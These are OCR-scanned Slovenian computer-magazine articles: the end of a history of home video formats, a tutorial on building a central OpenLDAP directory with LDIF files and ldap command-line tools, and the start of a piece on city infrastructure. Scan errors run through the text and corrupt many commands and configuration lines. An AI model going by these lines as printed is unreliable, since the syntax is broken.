Toshiba, 1978
- Video 2000, Philips in Grundig, 1979
Od navedenih sistemov bom opisal le VCR
kot najstarej§i amaterski analogni sistem, Be-
tamax kot prehodni in VHS kot najbolj raz-
Sirjen videosistem za doma&o uporabo.

VCR

Razvil ga je Philips leta 1970 in je najstareji
videosistem v 0,5-pal¢nem formatu. Obstajajo
tri izvedbe:
- VCR Standard
- VCR - LVC (Longplay)

- SVR (Super Video Recorder)

Zanimivo pa je, da izvedbe niso zdruzljive
med seboj. Kljub temu so vse tri izvedbe upo-
rabljale enake videokasete, kjer sta oba koluta
drug nad drugim.

Sistem VCR je omogoc¢al monta?ni rez z na-
daljevanjem (assemble) in rez z vstavljanjem
(insert) kakor razli¢ne povezave med rekorder-
ji in s tem presnemavanja.

Batamax

Videosistem Betamax je leta 1975 razvilo
podjetje Sony kot amaterski videosistem. Dru-
ga podjetja, ki so tudi izdelovale video napra-

ve sistema Betamax, so ga imenovale drugace
(Beta, Betacord, Betaformat).

Sistem Betamax uporablja U-nadin vodenja
traku okoli video bobna. Ta na¢in vodenja tra-
ku omogoca, da je trak dobro napet tudi pri
hitrem previjanju naprej in nazaj. Zaradi tega
je bil sistem Betamax tudi prvi amaterski video
sistem, ki je omogocal pocasnejse ali hitrejse
predvajanje slike od normalne hitrosti. Pred-
vajana slika je bila sicer slab3e kakovosti, a po-
stopek je bil zelo uporaben.

Razvoj elektronike je omogocil razne izbolj-
$ave na video podro&ju (nove snemalne elek-
tronike, slikovni CCD-senzorji, integrirana
vezja ...). Videosistem Betamax se je nadalje
razvijal v naslednjih stopnjah:

1980 — prenosni rekorder Betamax

Medtem ko so bili stacionarni videorekor-
derji namenjeni za snemanje TV-programov
doma, se je s prenosnim rekorderjem ter pre-
nosno kamero podrocje delovanja zelo razSiri-
lo, zlasti na snemanje na terenu.

1981 — Betacam

Profesionalni kamkorder predvsem za potre-
be ENG (Electronic News Gathering).

1984 — Betamovie

Sola videa

Amaterska izvedba kamkorderja. Namesto
snemalne elektronike (cevi) so vdelali CCD.

1985 — SuperBeta

Rekorder, ki je omogo¢al monta?ni rez z na-
daljevanjem (assemble) in z vstavljanjem (in-
sert), montiranje zamrznjenih slikic (frame-re-
cording) ter lo¢eno obdelavo zvoka.

VHS

VHS je najbolj razsirjen videosistem za do-
maco uporabo, ¢eprav po kakovosti ni najbolj-
§i. Razvil ga je JVC leta 1976. Deli se na stan-
dardni, srednji in vrhunski — a $e vedno ostaja
v okvirih domace uporabe.

Med projekcijo filma

bratov Lumiere o
prihodu vlaka na Zelenisko
postajo v Parizu leta 1895 so
ljudje zbezali iy dvorane, ker
so se bali, da bo vlak zapeljal
s platna v dvorano.

1980 —razvijejo prenosni na¢in snemanja (ka-
mera in rekorder sta lo¢ena)

1984 —VHS-C (compact): razvili so ga, ker se
je prvi amaterski kamkorder (Betamovie) »pri-
jel« in ker se je pojavil nov videoformat Video
8 (Philips in Kodak).

1985 — VHS Movie: Panasonic se pridruZi raz-
voju in razvije prvo kamero, ki uporablja veli-
ko VHS-kaseto.

1985 — VHS HQ: priblizno za 20 % izboljsajo
kakovost slike

1987 — Super VHS: zadnja stopnja izboljsa-
vefrazvoja videosistema VHS. Sicer so dosegli
precejinje izboljsave video slike (lo¢ljivost se
povela z 240 na 400 vrstic), kar je za amater-
ske razmere velik doseZek.

Nekako isto¢asno (1983) je Philips ponudil
trgu videoformat Video8, ki pa izhaja iz Sonyjeve
ideje o traku Sirine 8 mm iz leta 1980. Se istega
leta Sony predstavi prototip kamkorderja, ki naj bi
uporabljal 8 mm magnetni trak in namesto sne-
malne elektronike slikovni senzor CCD (Charge
Coupled Device). So pa predlagali format Video8
kot enotni sistem, saj je takrat na trgu vladal kaos
formatov (VCR, Betamax, VHS, V2000).

1985 - Sony poslje na trg prvi kamkorder
videosistema V8 z vdelanim CCD-senzorjem.
Od takrat je razvoj CCD-jev zelo hiter, saj so
se potrdili kot zelo odporni proti udarcem,
tresljajem, preosvetljitvi in zelo primerni za
vdelavo v kamkorderje, saj ne zavzamejo ve-
liko prostora.

1989 — Video8 nadgradijo v Video Hi8, ki je
odgovor na JVC-jev razvoj sistema SVHS. Kako-
vostno sta si bila oba sistema dokaj izenatena.

V naslednjem ¢lanku nadaljujemo s pregle-
dom digitalnih video sistemov in za vas bom
Sel kupovat kamero. Torej, trgovci, pripravite
se. Prihajam in se delam, da ni¢ ne vem. Me
prav zanima, kaj mi bodo hoteli prodati. B
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sam svoj mojster: izvedba centralnega imenika z LDAP-streznikom

Cesarjeva nova beleznica

Se pred dobrimi desetim leti je bila na seznamih stikov »alfa in omega« domaca ali sluzbena telefonska $tevilka. S pojavom
mobilnih telefonov so se na te sezname pocasi prikradle mobilne Stevilke, fenomen interneta pa je dodal Se naslove e-poste.
Danes dodajamo razli¢ne VolP-Stevilke, jutri pa ... Seveda je treba te vse vecje kolicine podatkov primerno urediti in, e je

mogoce, uporabiti $e kje drugie.

Pise: Marko Koblar
marko.koblar@mojmikrossi

obilni in ISDN-telefoni omogo-

&ajo, da klicne Stevilke oseb, s

katerimi pogosto komuniciramo,

shranimo v imenik telefonskega
aparata. Posledica tega udobja pa je najvec&krat
polenitev uporabnika, ki se ka¥e kot »poneum-
ljanje« v razzmeroma kratkem &asu — veliko
ljudi pogosto ne zna ve& na pamet niti telefon-
skih Stevilk svojih najozjih druZinskih ¢lanov.
Podobna je zgodba tudi z drugimi podatki (npr.
naslovi za elektronsko posto), ki jih shranju-
jemo v najrazli¢nejSih imenikih, od katerih
postajamo Cedalje odvisnejsi. Prakti¢ne izkus-
nje iz podjetij kaZejo, da uporabniki neredko
uporabljajo ve¢ programov za »komunikaci-
jo« (npr. MS Exchange, Lotus Notes), ki med
seboj niso vedno ustrezno povezane, posledica
pa je, da je hkrati treba vzdrievati ve¢ imeni-
kov, ki bi bili lahko najveckrat bolje izkorisce-
ni. Prepletanje najrazli¢nejsih storitev pomeni
tudi prepletanje razlitnih podatkovnih zbirk,
med katere sodijo tudi »imeniki«.

Za laZje razumevanje si oglejmo pogost pri-
mer. Uporabnik v podjetju ima telefonski
aparat in osebni ratunalnik. V zbirko lahko
z drugimi podatki vpiSemo njegovo sluzbeno
in domado telefonsko 3tevilko, naslov elek-
tronske poste, uporabniko ime za prijavo v
krajevno omreZje ter geslo ...Ko Zelimo temu
uporabniku poslati elektronsko posto, lahko
iz te (skupne) zbirke pois¢emo njegov postni
naslov. Ce ga %elimo poklicati po telefonu, lah-
ko iz zbirke pois¢emo telefonsko stevilko. Ce
imamo novejsi tip telefonske centrale, lahko z
vnosom nekaj &rk priimka prek tipkovnice te-
lefona hitro najdemo uporabnikovo telefonsko
Stevilko in ga pokli¢emo. Ne nazadnje lahko
tako shranjene podatke, ki so zanimivi za dru-
ge uporabnike, prikaZemo tudi na intranetnih
spletnih straneh podjetja.

Ena od mo#nosti vpeljave »centralne zbirke«
je shranjevanje podatkov v Active Directory, ki
je Microsoftova izvedba protokola LDAP (Light-
weight Directory Access Protocol), imeniske
storitve za okolje Windows. V Active Directo-
1y je mogoce shranjevati najrazli¢neje podatke
(uporabnisko ime, geslo, telefonsko tevilko, sli-
ke ...), velikost vnosov pa se lahko giblje od le
nekaj do vet tiso¢ objektov. Omenjena resitev je
za manja okolja (cenovno) razmeroma neugod-
na, zato lahko namesto storitve Active Directory
uporabimo tudi kaj drugega, na primer brezplag-
ni OpenLDAP (www.openldap.org). Preden pa
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odjemalec

LDAP-
arhitektura

nadaljujemo, si hitro
oglejmo, kaj sploh je
LDAP.

LDAP je omreini
protokol za imeniske
storitve preko TCP/
IP-ja. Zbirka temelji
na drevesni strukturi,
LDAP pa je bil razvit
iz protokola X.500
DAP. Eden od ciljev
njegovih razvijalcev je bil poenostavitev poda-
tkovne strukture v primerjavi z razli¢ico X.500,
ki je razmeroma kompleksna. Prvo razli¢ico
LDAP-a so razvili na Michiganski univerzi, tre-
nutno pa je aktualna tretja razli¢ica, LDAPv3,
definirana v RFC 3377. V strukturi LDAP-a
so razredi objektov (objectclass), ki definirajo
zbirko razli¢nih podatkov (atributov). Za naj-
pogosteje parametre imamo privzete razrede,
ki jih uporabljamo za ustvarjanje posameznih
vnosov, pri vsakem razredu pa imamo doloce-
no, katere podatke moramo nujno vstaviti in
kateri so izbirni. MoZnosti LDAP-a so prakti¢-
no neomejene — pogoj je le, da je parameter
definiran v razredu oziroma kot atribut in mora

biti vklju¢en v shemo LDAP.

POSTAVITEV STREZNIKA
LDAP-stretnik je del prakti¢no vseh Linu-
xovih distribucij in ga lahko namestimo hkrati
s sistemom. Kodo zadnje stabilne in testne raz-
li¢ice streznika OpenLDAP, lahko prenesete s
prej omenjene domade strani. Ce Yelite namesti-
ti OpenLDAP v okolju Windows, priporo¢am
obisk strani Lucasa Bergmana — http://lucas.
bergmans.us/hacks/openldap/, na kateri lahko
najdete ¥e preveden program za to okolje. Raz-

li¢ica sicer ni zadnja, odtehta pa dejstvo, da de-
luje dovolj stabilno in da v dobri 1,5 MB veliki

Hierarhiéna struktura
LDAP-imenika

datoteki prenesemo vse potrebne komponente
skupaj z namestitvenim programom.

Po zagonu namestitvenega programa in ko-
piranju datotek v %eleni imenik odpremo kon-
figuracijsko datoteko slapd.conf. Privzete para-
metre suffiks, rootdn in rootpw popravimo v
skladu s svojimi zahtevami. V nafem primeru
so videti takole:

suffix »de=mojmikro,dc=si«
rootdn

100tpw

»en=Manager,dc=mojmikro, dc=si«

7eSarll

Preostale vrstice v tej datoteki lahko ostane-
jo nespremenjene. Datoteka slapd.conf je kon-
figuracijska datoteka za stre?nik OpenLDAP,
ki ga aktiviramo z zagonom datoteke slapd.exe.
Pri testiranju ali diagnosticiranju delovanja je
koristen parameter -d (debug), ki mu sledi nu-
meri¢na vrednost (npr. sldapd —d 5). Ve&ja ko
je vrednost, globlje gremo v prikazano infor-
macijo — opozarjam le, da je lahko posledica
pocasnejse delovanje, kar je lahko opazno pri
iskanju v imenikih z ve&jim $tevilom vnosov
(npr. vet tiso¢ uporabnikov). V praksi — pri
priblizno 3500 uporabnikih na enem od dr-
Yavnih ministrstev — je razlika pri hitrosti med
normalnim in na¢inom debug o¢itna: od prak-
ti¢no hipnega rezultata v normalnem reZimu,
do 2-3 sekunde v diagnosti¢nem.

Delovanje stre?nika lahko preizkusimo tako,
da v ukazno vrstico vpiSemo

[dapsearch -x -s base (objectclass=*)

namingContexts

Ce strernik pravilno deluje, lahko dodamo prve-
ga uporabnika, ki ima administratorske pravice. To
je v naSem primeru uporabnik Manager, vnesli pa
ga bomo tako, da v beleZnici (notepad) ustvarimo
datoteko manager.ldif in vanjo vpiSemo

dn: de=mojmikro,dc=si
objectclass: top
objectclass: dcObject
objectclass: organization
0: mojmikro

de: mojmikro

dn: cn=Manager,dc=mojmikro,dc=si

objectclass: organizationalRole

cn: Manager

Kon¢nica Idif ni izbrana naklju¢no, ampak
oznaluje LDAP Data Interchange Format, ki
se uporablja za prikaz LDAP-vnosov v obliki
preprostega besedilnega zapisa. LDIF je spe-
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Stara dobra klasika — LDAP Browser

cificiran v RFC2849, z datoteko Idif pa lahko
definiramo podatke v LDAP-zbirki.

Datoteko shranimo v imeniku, kjer je dato-
teka slapd.exe. Parameter dn (DN - Distin-
guished Name) se ujema s parametrom suffix
v datoteki slapd.conf. Med obema vnosoma
mora biti prazna vrstica. S ukazom slapadd
lahko dostopamo neposredno do zbirke in do-
damo uporabnika Manager.

slapadd -f slapd.conf -l manager. dif

Ko uspesno dodamo uporabnika, LDAP-
strefnik ustavimo in ponovno zafenemo. Ce
Yelimo, lahko stre?nik zaZenemo in ustavimo
tudi kot storitev z ukazom slabd install oziro-
ma slapd remove.

Za nekaj Casa zapustimo okolje ukazne vrsti-
ce in namestimo grafi¢ni vmesnik, prek kate-
rega bomo neposredno dostopali do podatkov
na LDAP-strefniku. V nagem primeru smo
uporabili brezplatni LDAP Browser/Editor
www-unix.mcs.anl.gov/$tgawor/ldap/ downlo-
ad.html, ki sicer ni najnove;jsi, a ga odlikujeta
funkcionalnost in prilagodljiva mo?nost upo-
rabe (kot samostojen program ali prek splet-
nega brskalnika). Program zahteva za svoje de-
lovanje Javo razli¢ice 1.2.2 ali novej$o. LDAP
Browser/Editor zaZenemo z datoteko lbe.bat.
LDAP Browser usmerimo na dolo¢en LDAP-
strefnik s profilom, ki ga ustvarimo tako, da
pod menijem Connection vnesemo za para-
meter host IP-naslov stre?nika, vrata ostanejo
nespremenjena (389 so standardna vrata za
LDAP- streznik brez SSL-a oziroma 636 z SSL-
om), za Base DN v naSem primeru pa dc=moj-
mikro,dc=si. Ker Zelimo do stre?nika dostopati
kot administrator (Manager), dodamo $e User

DN in geslo. Na kon-
cu parametre shrani-
mo in izvedemo %e
prijavo v stre?nik. Z
LDAP Browserjem
lahko izvajamo prak-
ti¢no vse funkcije, ki
jih  LDAP-stretnik
omogoca.

Naslednji izdelek je
novejdi in bo verjet-
no zanimiv predvsem
za zaCetnike, nosi pa
ime JXplorer (www.
jxplorer.org/).  Pri-
vlaten je predvsem
zaradi bolj dodelane-
ga vmesnika in moz-
nosti preprostega do-
stopa do LDAP-shem
in z njimi povezanih
atributov. Res pa je,
da program vcasih
preprosto »zaribax.

ZACETEK DELA

Prvi zagon stre?ni-
ka pomeni $ele pravi
zaletek dela. Imenik
je prazen, zato mo-
ramo vzpostaviti hi-
erarhi¢no strukturo,
ki jo potrebujemo.
Pri majhnem 3tevi-
lu uporabnikov je
lahko ta preproste;j-
$a — vse uporabnike
lahko vnesemo kar
v »osnovni imenik”.
Uporabnika  lahko
dodamo tako, da v
LDAP Browserju
(kot Manager) iz-
beremo Edit — Add
Entry — person ter
vnesemo podatke, ki
so na voljo. Namesto
newperson vpisemo
ime in priimek osebe,
ki jo %elimo shrani-
ti, polji objectclass
pa pustimo nespre-
menjeni. V  polje
telephoneNumber
vnesemo telefonsko
Stevilko, v polju sn
pa ponovimo pri-
imek. Vnos potrdimo
s klikom na Apply.
Podobno lahko gra-
dimo tudi organi-
zacijsko strukturo v
obliki organizacije ali
organizacijske enote.
Skratka, hierarhi¢no
zlagamo po  svojih
potrebah.
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Dostop do shem z JXplorerjem

Primer:

V imeniku (mojmikro.si) smo ustvarili dve organizaciji — Prodajo in
Tehniko, v okviru Prodaje pa $e enoto Marketing. V Tehniki je uporab-
nik Marko Koblar, V Prodaji Peter Petri¢ in v Marketingu Janez No-

vak.

Del datoteke 1dif, ki definira opisano strukturo, je videti takole:

dn: 0=Prodaja, de=mojmikro,dc=si
objectClass: top

objectClass: organization

0: Prodaja

dn: 0=Tehnika, de=mojmikro,dc=si
objectClass: top

objectClass: organization

0: Tehnika

dn: ou=Marketing,0=Prodaja, de=mojmikro,dc=si
ou: Marketing

objectClass: top

objectClass: organizationalUnit

dn: cn=Marko Koblar,o=Tehnika, dc=mojmikro,dc=si
telephoneNumber: 014738261

objectClass: top

objectClass: person

sn: Koblar

cn: Marko Koblar

(definiranje Prodaje)

(definiranje Tehnike)

(Marketing v Prodaji)

(Uporabniki)

dn:: Y249UGVOZXIgUGV0cmnEjSxvPVByb2RhamESIGRIPW lvam 1 pa3Jul GRIPXNp

telephoneNumber: 01234567
objectClass: top

objectClass: person

sn:: UGV0emnEjQ==

cn:: UGVOZXIgUGV0emnEjQ==

dn: cn=Janez Novak,ou=Marketing,0=Prodaja, dc=mojmikro,dc=si

telephoneNumber: 02345678
objectClass: top

objectClass: person

sn: Novak

cn: Janey Novak
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sam svoj mojster: izvedba centralnega imenika z LDAP-streznikom

Kot je mogoce videti iz zapisa, je vsak vnos
definiran s svojim polo%ajem v hierarhi¢ni
strukturi - zapis dn: pa beremo od desne proti
levi. V naslednjem zapisu

cn=Marko Koblar, ou=mojMikro, 0=DeloRevije,

c=si

parametri niso izbrani naklju¢no, ampak so
dologeni - cn=common name (ime), ou=orga-
nisation unit (organiracijska enota), o=orga-
nisation (organizacija), c=country (drzava).

Omenili smo Ze, da Objectclass dolo¢a, ka-
tere vrednosti so lahko (izbirno) v vnosu in
katere morajo biti. Ce %elimo pri uporabniku
shraniti $e naslov elektronske poste, je celoten
zapis uporabnika naslednji

dn: cn=Marko Koblar,o=Tehnika,
de=mojmikro,dc=si
telephoneNumber: 014738261
mail: marko.koblar@mojmikro.si
objectClass: top

objectClass: person

objectClass: inetOrgPerson

sn: Koblar

cn: Marko Koblar

Jasno je, da lahko shranjene podatke in polja
Se razSirjamo. Zapise v LDAP-strukturi lahko
popravljamo z ukazi prek ukazne vrstice, prek
grafi¢nega vmesnika (npr. LDAP Browser/Edi-
tor) ali tako, da v urejevalniku besedil spreme-
nimo podatke v datoteki LDIF in jih ponovno
uvozimo v LDAP-stre¥nik.

PRIPRAVA PODATKOV IN
STRUKTURE IMENIKA

Koli¢ina in vrsta podatkov nam obi¢ajno na-
rekujeta strukturo, ki jo bomo uporabili. Dobro
zamiSljen koncept lahko odpravi prenekatero
teZavo, saj je 90 % dela povezano z ustrezno
strukturo in pripravo podatkov za vnos (ldif
datoteka). Dejstvo je, da so najveckrat poda-
tki %e (v taksni ali druga¢ni obliki) na voljo v
elektronski obliki in jih je treba pred vnosom v
imenik le ustrezno obdelati. Vasih je »ro¢no
delo« nemogo&e tudi iz popolnoma racional-
nih razlogov: imenik nekajnivojske zgradbe z
ved tiso¢ vnosi (popolnoma realen sve? pri-
mer!) — tega ne privos&im niti smrtnemu sov-
rarniku (kaj Sele sebi!), zato je vsaka druga¢na
reSitev kot avtomatizem preprosto nemogoa
(beri: neuporabna zaradi potreb po vzdrievanju
podatkov).

Kako torej preprosto do datoteke 1dif? Prva
moZnost meji na zlorabo programske opreme, a
je uporabna. Uporabimo lahko makre v Exce-
lu ali Word uoziroma OpenOffice Writerju in
Openlffice Calcu. Se elegantnej$a je moznost
spajanja dokumentov (Mail Merge) med ome-
njenimi programi, saj obi¢ajno iz obstojecih
dokumentov brez te¥av naredimo izvoz v xls in
ga spojimo v poljubno obliko v potreben zapis
znotraj urejevalnika besedil. Podatke imamo
lahko tudi v razli¢nih namenskih imenikih. V
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V LDAP-imenik lahko preprosto shranimo
tudi sliko in zvok.

zato, ker zmanjsuje moZnost napake, e zlasti e
izvajamo opravilo periodi¢no in imamo veliko
Stevilo vnosov.

Poskusimo uporabiti nekatera orodja v ukaz-
ni vrstici, ki se namestijo hkrati s strefnikom.
Za&nimo z iskanjem, ki ga omogoca ukaz Idap-
search. LDAP-stre?nik te¢e v drugem racunal-
niku (IP-naslov 192.168.200.207), zato bomo
uporabili $e parameter —h (host), iskali pa
bomo uporabnike, katerih priimek (parameter
sn) se zaéne na &rko K. Celoten ukaz za iskanje
je v nasem primeru

Idapsearch -h 192.168.200.207 -b »dc=mojmikro,dc=si« sn=K*

vse uporabnike pa lahko posljemo v datote-
ko z imenom izpis takole:

Idapsearch -h 192.168.200.207 -b
»dc=mojmikro,de=si« sn=* > izpis

Podobno lahko dodamo uporabnika (Jaka

Nekateri parametri so nujni, drugi pa samo kot moznost.

Racman) v enega od oddelkov (Prodaja). Naj-
prej napisemo datoteko dodaj.ldif

dn: cn=Jaka Racman, 0=Prodaja,
de=mojmikro,dc=si

objectClass: top

objectClass: person

sn: Racman

cn: Jaka Racman

V imenik pa ga dodamo z ukazom:

[dapadd -h 192.168.200.207 -D »en=Manager,dc=m
ofmikro,de=si« -w 7eSar0l < dodaj.Idif

Ce pa Zelimo vnesti geslo ro¢no, je vrstica
spremenjena takole:

[dapadd -h 192.168.200.207 -D »en=Manager,dc=m

ojmikro,de=si« -W < dodaj.Idif

Vnose v imeniku popravimo. Uporabniku,
ki smo ga prej vnesli preko datoteke dodaj.Idif,
bomo dodali e telefonsko 3tevilko. Nova da-
toteka je zdaj:

dn: cn=Jaka Racman, 0=Prodaja,
de=mojmikro,dc=si

objectClass: top

objectClass: person

sn: Racman

cn: Jaka Racman
telephoneNumber: 3456543

Podatek v imeniku popravimo z ukazom:

[dapmodify -h 192.168.200.207 -D »cn=Manager,d
c=mojmikno,de=si« -W < dodaj.ldif

Uporabnika bomo na koncu $e izbrisali z
ukazom:

ldapdelete -h 192.168.200.207 -D »cn=Manag

er,de=mojmikro,dc=si« -W »cn=Jaka Racman,
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Outlooku storimo to tako,
da naredimo nov racun in
izberemo moZnost Direc-

tory Services. V naSem
primeru smo vnesli za ime
kar [P-naslov LDAP-stre%-
nika (192.168.200.207) in
izbrali moZnost preverja-
nja naslovov v imeniku.

Ko je racun narejen, izbe-

oK ] em | 5o | TS T |
Nastavitev Outlook Nastavitev

Expressa za delovanje z poti do Iskanje

LDAP-imenikom streznika po LDAP-

imeniku iz

0=Prodaja, de=mojmikro,dc=si« adresarja

Ce bi Zeleli pobrisati celotno Prodajo z vse-
mi pripadajo¢imo podvnosi, storimo to s para-
metrom —r

ldapdelete -h 192.168.200.207 -D »cn=Mana
ger,de=mojmikro,dc=si« -W -r »0=Prodaja,
de=mojmikro,dc=si«

UPORABNO ALI SAMO SEBI NAMEN?

LDAP-strefnik smo uporabili za potrebe
imenika, vsekakor pa to ni edina moZnost nje-

gove uporabe. Nacin dostopa do shranjenih
podatkov je lahko najrazli¢ne;jsi: od IP- tele-
fona do imenika (Address Book) v okenskem
okolju. Na spletnih straneh je mogoge najti
tudi razli¢ne skripte, ki nam omogocajo iskanje
podatkov prek spletnega stre?nika oziroma br-
skalnika. V tem primeru deluje spletni stre¥nik
kot vmesnik in odjemalec za LDAP-stre?nik.
Ena od zanimivih mo¥nosti je, da v LDAP-
strefnik shranimo naslove za elektronsko
posto in jih uporabljamo prek odjemalca za

remo 3e dodatne mo?nosti
in vnesemo tocko iskanja
(search base) - dc=mojmi-
kro,dc=si. Do podatkov v
imeniku lahko dostopamo
tako, da v Address Booku
izberemo Find People ter
pod Look in radun za ime-
nik (v naSem primeru je 192.168.200.207). V
polje Name vpiSemo ¢rke imena in priimka ter
sprofimo iskanje. V odjemalcu za elektronsko
posto pa je uporaba $e preprostej§a. V polje
naslovnika (To: oziroma Za) vpiSemo le ime
in priimek osebe oziroma naziv. Ko pritisne-
mo gumb za pofiljanje sporocila, odjemalec za
elektronsko posto izvede iskanje in vnese celo-
ten naslov elektronske poste. Ce je izkupicek
iskanja ve¢ rezultatov, izbere uporabnik Zele-
nega rocno. W
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Infrastrukture - temelj civilizacije

Ustrezne in zanesljive infrastrukture imajo iziemen pomen za vsako skupnost, od vecjih vasic v Afriki do orjaskih metropol,

kot je Tokio. Zlasti kompleksen problem so infrastrukture v velikih mestih, ki zahtevajo celovit pristop z uporabo najnovejsih
tehnologij nacrtovanja. Infrastrukture so klju¢nega pomena tudi za industrijsko proizvodnjo, trgovino in poslovanje nasploh. Brez
specializiranih infrastruktur ni mogoc razvoj zivljenjsko pomembnih sistemov za oskrbovanie z elektriko in vodo, telekomunikacije
in promet kakor tudi zadovoljevanje Stevilnih drugih mestnih potreb.

Pise: Esad Jakupovié

esad.jakupovic@mojmikrosi

IT KOT OSNOVA

Zgodba o uspehu starega Rima je dobesedno
vrezana v kamen. Po vsem mogo¢nem cesar-
stvu se je razprostiralo na tisoce kilometrov
tlakovanih cest, ki so olajsale trgovino in po-
speSevale osvajanja. Dobro zgrajeni akvadukti
so prinasali vodo v mesta. Sijajne arene so bile
zabavna sredis¢a. Mo¢ne infrastrukture bile so
podlaga gospodarskega in drubenega uspeha,
na kar spominjajo tudi danes. Tudi v nasih
Casih so visoko razvite infrastrukture osno-
va naSega obstoja, saj na njih temeljijo tako
ekonomske strukture kot tudi nase celotno
Yivljenje. Kaj to pomeni, si lahko predstavimo,
Ce si zamislimo dalji elektri¢ni mrk v mrzlem
zimskem dnevu, s posledicami, ki so lahko ka-
tastrofalne. PovpraSevanje po infrastrukturnih
reditvah se bo povedevalo zaradi rasti prebival-
stva in hitre urbanizacije. V letu 1975 so imela
vet kot deset milijonov prebivalcev samo Stiri
mesta — New York, Tokio, Sanghaj in Ciudad

de México. V letu 2015 bo taksnih mest %e 20,
najvedji pa bo Tokio s 36 milijoni prebivalcev,
kolikor jih ima danes Argentina.

V letu 2030 bo %e 60 odstotkov svetovnega
prebivalstva Zivelo v mestih. Teh okoli pet mi-
lijard ljudi bo imelo veliko skupnega: vsak dan
bodo Zeleli hitro priti na delo, biti mobilni in
komunicirati brez omejitev. Potrebovali bodo
&isto vodo, u¢inkovito kanalizacijo, ogromne
koli¢ine energije in &isto okolje. Mestne in-
frastrukture so ¥e danes obremenjene do skraj-
njih meja. V svetu obstajajo Stevilna velika
podjetja, specializirana za posamezne vrste
infrastruktur, nekatera pa tudi za ve& razli¢nih
podrotij, kot je Siemens. Nemski orjak ima iz-
kusnje na podrocju proizvodnje in distribucije
elektri¢ne energije, obdelave vode, prometa
kakor tudi omreZij za zdravstveno nego in ko-
munikacije. Vse tak$ne infrastrukture kjerkoli
v svetu so danes povezane in upravljane z in-
formacijskimi tehnologijami. Veliki projek-
tanti in graditelji infrastruktur so praviloma
tudi izkuSeni razvijalci strojne in programske
[T-opreme ter resitev ali pa vsaj z njimi tesno
sodelujejo.

Tehnologija za prvake

Devetega junija letos ob 17:55 so se o€i
74.000 ljudi v dvorani Allianz Arena v bliZini
Miinchna in nekaj milijard ljudi po vsem sve-
tu uprle v Zogo na sredini igriS€a, v pricako-
vanju zaCetka tekme Nemcija-Kostarika in z
njo svetovnega nogometneg. To je bil zvezdni
trenutek za projektante in graditelje arene,
enega od 12 stadionov za svetovno prvenstvo
po Nemciji, toda najvecjega in najsodobnej-
Sega. Zvezdni trenutek je bil tudi za Clane
mnogostevilne ekipe iz podjetja Siemens, ki
je v areno vgradilo Stevilne najnovejSe tehno-
logije — od nizov reflektorjev in varnostnih si-
stemov do sistemov za pametno upravljanje
prometa v njeni blizini. Siemens je projektiral
in celovit kompleten sistem oskrbe z energijo
in IT-infrastrukturo, pri ¢emer je porabil 4000
km bakrenih in 800 km opti¢nih kablov; oba
sistema imata tudi varnostne kopije za pri-
mer odpovedi. Najopaznejsi del Siemensove
tehnoloske zgradbe za dvorane Allianz Arene
je sistem 25.400 zarnic Osram, vdelanih v
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Tehnologije za superhotel

V Las Vegasu je na eni sami aveniji (Strip)
devet od desetih najvecjih hotelov v svetu.
Hoteli so bolj kot gostinski objekti pravza-
prav igralnice ter zabavni in kongresni cen-
tri. Ker jim vsem dobro gre (mesto je v letu
2005 zasluzilo 34 milijard dolarjev, od tega
7 milijard od iger na sreco, organizirali pa so
bilo 66 tiso¢ kongresov, konferenc, priredi-
tev in srecanj), se je skupina MGM Mirage,
najveéja zasebna druzba v hotelsko-igralni-
Ski industriji na svetu, odlocila na gradnjo
superhotela MGM Mirage CityCenter. Doslej
najvecji hotelsko-igralniski-zabavis¢ni-kon-
gresni kompleks, ki bo zavzel blizu 35 hek-
tarov zemlje (cena hektara na Stripu je pri-
blizno 35 milijonov dolarjev), bo imel skupaj
4000 hotelskih sob, tri hotele z butiki v veli-
kosti 400 sob, 1650 dvoran in drugih skup-
nih prostorov ter 50 tiso¢ kvadratnih metrov
gostinskih, prodajnih in zabavnih prostorov.
Center bo odprl vrata gostom v novembru
2009. Investitorji so izbrali nemsko podjetje
Siemens za dobavitelja vrste novih tehnolo-
gij v vrednosti 100 milijonov dolarjev, med
katerimi so sistemi upravljanja stavb, sen-
zorski sistemi, »zelene« energetske in druge
tehnologije in podobno.

SELITEV V MESTA

Po $tudiji UN-Habitat bo leto 2007 brez pri-
mere v celotni zgodovini. Stevilo ljudi, ki Zivijo
v mestih bo prvi¢ doseglo polovico svetovnega
prebivalstva. Stevilo mest s prebivalstvom nad
milijon ljudi se bo s sedanjih 300 povzpelo na
350 v letu 2015. V istem letu bo Ze 350 milijo-
nov ljudi %ivelo v mestih z ve¢ kot 10 milijonov
prebivalcev. Tak$no zdruZevanje ljudi v velikih
mestih bo prineslo pove¢ano stopnjo urbaniza-

Skoljko arene, ki lahko spreminjajo barvo, od
bele prek modre do rdece, kar so barve dveh
nogometnih klubov iz Mlinchna — Bayerna in
TSV 1860. Zarnice so posebej konstruirali za
areno in zagotavljajo minimalno segrevanje in
minimum plasti¢nih delov. Na vhodih v areno
je Siemens skupaj z avstrijskim podjetjem Ski-
data postavil vrtljive krize, ki sprejemajo vec
razliénih vstopnic, vkljucno s tistimi z vdelanimi
Cipi za radijsko identifikacijo (RFID), za katere
ni potreben neposreden dotik z opremo za pre-
verjanje, ki je povezana z racunalnisko zbirko.
Posebne kontrolne tocke omogocajo vhod samo
pooblaséenim osebam v cone visoke varnosti
ali v podro¢ja za pomembne osebe. Na shemi
na sliki so osnovni sistemi, ki vklju€ujejo naj-
novejSe tehnologije in delujejo kot celoviti in
neodvisni segmenti, obenem pa so povezani v
skupen sistem upravljanja in nadzora. Siemens
je izdelal vrsto reSitev tudi za drugih 11 sta-
dionov za nogometno prvenstvo, prilagojenih
konkretnim potrebam.

A
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cije in ve&jo gospodarsko rast ter bo Rast mestnega prebivalstva

zahtevalo §e mo¢nejse infrastrukture Pﬁm;f +127.4% +79,64% +2.38% +44,36% +3563% +29,17%
za energijo, promet in oskrbo z vodo. 3.000] A A T T T g
Po oceni Mednarodne agencije za 266+ =
energijo (IEA) se bo primarna poraba -0 Rast v velikih mestih i
energije do leta 2030 povecala za pol- 2.0004 2790.000 prebivalcev v 2000) §
ovico, od tega vec kot dve tretjini v 1,500 1.483 %2003 § W2030 3
nerazvitih drfavah. Globalna poraba 2
energije se je samo v letu 2004 poveca- Lty ag s320|545 602 2
la za 4,3 odstotka, ocenjuje Statisti¢ni 500 329 I - I 261|354 f
pregled svetovne energije v izdaji BP, | »p>
kar je najvedja letna rast od leta 1984. Afika  Azija  Evropa J.Amerika S. Amerika Oceanija

Na povedanje je precej vplivala Kitaj-
ska s 15-odstotnim dele?em svetovne
porabe. Dele? ZDA je 22,8 %, drzav
